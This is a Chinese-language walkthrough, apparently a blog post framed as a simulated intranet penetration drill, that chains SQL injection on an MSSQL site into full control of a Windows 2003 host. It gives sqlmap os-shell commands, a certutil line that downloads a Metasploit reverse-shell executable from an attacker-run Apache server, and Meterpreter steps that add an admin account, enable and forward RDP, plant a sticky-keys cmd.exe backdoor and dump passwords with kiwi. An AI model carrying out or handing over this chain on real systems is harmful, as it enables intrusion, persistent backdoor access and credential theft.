漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)

准备:假设内网有一台2003服务器(使用mssql数据库,存在注入点),把网页服务80端口映射到防火墙8092端口,外网一台centos用来接收反弹shell
工具:sqlmap、msf、apache
一、访问映射到外网的8092端口,web服务器寻找注入点
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

测试页面存在注入点
使用sqlmap进行注入

sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql"

注入成功,获取到了服务器信息
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

二、sqlmap提权
由于是mssql数据库,首先查看当前数据库用户
sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql" --current-user

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

sa 用户,可以进行提权
sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql" --os-shell

提权成功
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

三、由于是内网设备,采用反弹shell到我准备好的外网centos设备
centos搭建apache服务,用来装载反弹马给目标下载
yum install httpd -y

设置apache服务
systemctl start httpd systemctl enable httpd

修改apache端口(默认80不要使用)
vim /etc/httpd/conf/httpd.conf


漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

重启一下apache服务,手动查看一下端口情况,5555正常监听就没问题
service httpd restart netstat -ant

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

主机win10手动访问一下搭建好的apache
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

这里遇到一点问题,无法访问网页服务,导致后续下载反弹马失败
原因可能是被centos防火墙拦截了。
查看防火墙状态
systemctl status firewalld.service

关闭防火墙服务
systemctl stop firewalld.service

禁止开机自启防火墙服务
systemctl disable firewalld.service

四、msf制作反弹马
外网centos服务器安装msf
由于下载的msf离线包是.deb后缀的,先下载dpkg工具
yum install dpkg

安装msf离线包
dpkg -i msf.deb

启动msf,使用payload模块制作反弹马
这里我们设置监听端口为外网ip,端口设置为1234
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

提示123.exe制作完成
将上一步做好的反弹马放到网站根目录
mv 123.exe /var/www/html/

五、msf监听
设置监听模块,
use exploit/multi/handler
设置与反弹马设置的端口和ip保持一致,并且需要手动设置payload
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

开启监听
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

六、sqlmap下载反弹马并执行
由于03服务器提权成功,sqlmap可以执行系统命令
下载centos准备好的反弹马
certutil -urlcache -split -f http://外网ip:5555/123.exe

补充知识点:
适用于server 2003以上版本,windows的环境下用命令行下载文件
certutil -urlcache -split -f http://192.168.203.140/文件名.exe

执行反弹马
C:\windows\system32\Blob0_0.bin

大概几秒钟后,msf捕获到反弹shell
执行shell命令后,即可执行系统命令,建立稳定连接
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

第二部分:支线任务
成功获取这台192.168.100.12权限后,继续进行内网渗透
  1. 新建用户,并添加到管理员组
net user admin admin /add net localgroup Administrators admin /add

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

  1. 开启3389远程桌面端口
run getgui -e

提示使用另一条命令 try后面
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

run post/windows/manage/enable_rdp

提示完成
  1. 【漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)】将3389进行端口映射,映射到centos的33890端口
portfwd add -l 33890 -r 192.168.100.2 -p 3389

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

  1. 远程桌面登录后,便于后续测试后门脚本
此时用主机win10就可以直接远程连接centos ip:33890
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片


上传脚本文件到C:/
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

shell
CD \
1.bat
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

此时远程桌面登录框,连续按多次shift,即可触发粘连键,由于我们用1.bat将cmd.exe替换掉了粘连键程序,所以此时不需要登录,就已经可以执行cmd命令了
这时可以新建用户,添加组等操作
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

支线任务二:使用wiki模块获取用户密码
加载kiwi
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

creds_all
读取所有活动用户的密码
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

目的达到,执行2.bat,还原粘连键程序
漏洞复现|内网渗透模拟演练(使用sqlmap对内网mssql提权与反弹shell)
文章图片

    推荐阅读